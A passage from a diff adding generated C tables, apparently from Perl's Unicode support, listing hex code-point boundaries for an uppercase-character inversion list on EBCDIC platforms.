+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F18,
+	0x1F1E,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F48,
+	0x1F4E,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1FB8,
+	0x1FBC,
+	0x1FC8,
+	0x1FCC,
+	0x1FD8,
+	0x1FDC,
+	0x1FE8,
+	0x1FED,
+	0x1FF8,
+	0x1FFC,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210B,
+	0x210E,
+	0x2110,
+	0x2113,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x2130,
+	0x2134,
+	0x213E,
+	0x2140,
+	0x2145,
+	0x2146,
+	0x2160,
+	0x2170,
+	0x2183,
+	0x2184,
+	0x24B6,
+	0x24D0,
+	0x2C00,
+	0x2C2F,
+	0x2C60,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CEB,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CF2,
+	0x2CF3,
+	0xA640,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA680,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA722,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA78B,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA790,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7AF,
+	0xA7B0,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xFF21,
+	0xFF3B,
+	0x10400,
+	0x10428,
+	0x104B0,
+	0x104D4,
+	0x10C80,
+	0x10CB3,
+	0x118A0,
+	0x118C0,
+	0x1D400,
+	0x1D41A,
+	0x1D434,
+	0x1D44E,
+	0x1D468,
+	0x1D482,
+	0x1D49C,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4B6,
+	0x1D4D0,
+	0x1D4EA,
+	0x1D504,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D538,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D56C,
+	0x1D586,
+	0x1D5A0,
+	0x1D5BA,
+	0x1D5D4,
+	0x1D5EE,
+	0x1D608,
+	0x1D622,
+	0x1D63C,
+	0x1D656,
+	0x1D670,
+	0x1D68A,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6E2,
+	0x1D6FB,
+	0x1D71C,
+	0x1D735,
+	0x1D756,
+	0x1D76F,
+	0x1D790,
+	0x1D7A9,
+	0x1D7CA,
+	0x1D7CB,
+	0x1E900,
+	0x1E922,
+	0x1F130,
+	0x1F14A,
+	0x1F150,
+	0x1F16A,
+	0x1F170,
+	0x1F18A
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XPOSIXUPPER_invlist[] = { /* for EBCDIC 037 */
+	1279,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x62,
+	0x6A,
+	0x71,
+	0x79,
+	0x80,
+	0x81,
+	0x9E,
+	0x9F,
+	0xAC,
+	0xAF,
+	0xC1,
+	0xCA,
+	0xD1,
+	0xDA,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18E,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19C,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BC,
+	0x1BD,
+	0x1C4,
+	0x1C5,
+	0x1C7,
+	0x1C8,
+	0x1CA,
+	0x1CB,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F2,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x370,
+	0x371,
+	0x372,
+	0x373,
+	0x376,
+	0x377,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x390,
+	0x391,
+	0x3A2,
+	0x3A3,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D2,
+	0x3D5,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F7,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FD,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x48A,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x531,
+	0x557,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13A0,
+	0x13F6,
+	0x1E00,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F18,
+	0x1F1E,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F48,
+	0x1F4E,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1FB8,
+	0x1FBC,
+	0x1FC8,
+	0x1FCC,
+	0x1FD8,
+	0x1FDC,
+	0x1FE8,
+	0x1FED,
+	0x1FF8,
+	0x1FFC,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210B,
+	0x210E,
+	0x2110,
+	0x2113,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x2130,
+	0x2134,
+	0x213E,
+	0x2140,
+	0x2145,
+	0x2146,
+	0x2160,
+	0x2170,
+	0x2183,
+	0x2184,
+	0x24B6,
+	0x24D0,
+	0x2C00,
+	0x2C2F,
+	0x2C60,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
